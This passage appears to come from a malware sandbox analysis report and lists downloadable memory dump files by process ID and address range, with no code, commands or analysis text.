                                        memory/3664-415-0x00000000076A0000-0x0000000007744000-memory.dmp
                                        Download

                                        memory/3664-417-0x00000000079B0000-0x00000000079C5000-memory.dmp
                                        Download

                                        memory/3664-416-0x0000000007970000-0x0000000007981000-memory.dmp
                                        Download

                                        memory/4008-6196-0x0000027EF2EF0000-0x0000027EF2FA3000-memory.dmp
                                        Download

                                        memory/4300-222-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-227-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-219-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-232-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-223-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-224-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-225-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-221-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-230-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-226-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-231-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-220-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-228-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4300-229-0x0000000001470000-0x0000000001559000-memory.dmp
                                        Download

                                        memory/4384-82-0x00007FF7EC5D0000-0x00007FF7ECDB3000-memory.dmp
                                        Download

                                        memory/4384-13-0x00007FF7EC5D0000-0x00007FF7ECDB3000-memory.dmp
                                        Download

                                        memory/4544-190-0x0000000007180000-0x000000000719E000-memory.dmp
                                        Download

                                        memory/4544-151-0x0000000005530000-0x0000000005596000-memory.dmp
                                        Download

                                        memory/4544-147-0x00000000029D0000-0x0000000002A06000-memory.dmp
                                        Download

                                        memory/4544-235-0x0000000007760000-0x0000000007775000-memory.dmp
                                        Download

                                        memory/4544-215-0x0000000007590000-0x000000000759A000-memory.dmp
                                        Download

                                        memory/4544-212-0x0000000007B50000-0x00000000081CA000-memory.dmp
                                        Download

                                        memory/4544-193-0x0000000007200000-0x00000000072A4000-memory.dmp
                                        Download

                                        memory/4544-182-0x000000006FCF0000-0x000000006FD3C000-memory.dmp
                                        Download

                                        memory/4544-148-0x00000000055B0000-0x0000000005BDA000-memory.dmp
                                        Download

                                        memory/4544-181-0x00000000071C0000-0x00000000071F4000-memory.dmp
                                        Download

                                        memory/4544-234-0x0000000007750000-0x000000000775E000-memory.dmp
                                        Download

                                        memory/4544-236-0x0000000007860000-0x000000000787A000-memory.dmp
                                        Download

                                        memory/4544-170-0x00000000066F0000-0x000000000673C000-memory.dmp
                                        Download

                                        memory/4544-169-0x00000000061B0000-0x00000000061CE000-memory.dmp
                                        Download

                                        memory/4544-150-0x00000000054C0000-0x0000000005526000-memory.dmp
                                        Download

                                        memory/4544-158-0x0000000005CB0000-0x0000000006007000-memory.dmp
                                        Download

                                        memory/4544-149-0x0000000005420000-0x0000000005442000-memory.dmp
                                        Download

                                        memory/4544-233-0x0000000007720000-0x0000000007731000-memory.dmp
                                        Download

                                        memory/4544-237-0x0000000007850000-0x0000000007858000-memory.dmp
                                        Download

                                        memory/5468-6079-0x00007FFC075F0000-0x00007FFC075F1000-memory.dmp
                                        Download

                                        memory/5560-6252-0x0000016115920000-0x0000016115B41000-memory.dmp
                                        Download

                                        memory/5600-6253-0x0000028E5CE80000-0x0000028E5D0A1000-memory.dmp
                                        Download

                                        memory/6764-5894-0x00007FFBE7530000-0x00007FFBE7A7E000-memory.dmp
                                        Download

                                        memory/6764-5895-0x00007FF711FF0000-0x00007FF7166DB000-memory.dmp
                                        Download

                                        memory/6764-6047-0x0000021F80310000-0x0000021F80531000-memory.dmp
                                        Download

                                        memory/7064-5772-0x00007FFBE7530000-0x00007FFBE7A7E000-memory.dmp
                                        Download

                                        memory/7064-5773-0x00007FF711FF0000-0x00007FF7166DB000-memory.dmp
                                        Download

                                        memory/7064-6254-0x0000015E16A20000-0x0000015E16C41000-memory.dmp
                                        Download

                                        memory/9336-6168-0x00007FFC075F0000-0x00007FFC075F1000-memory.dmp
                                        Download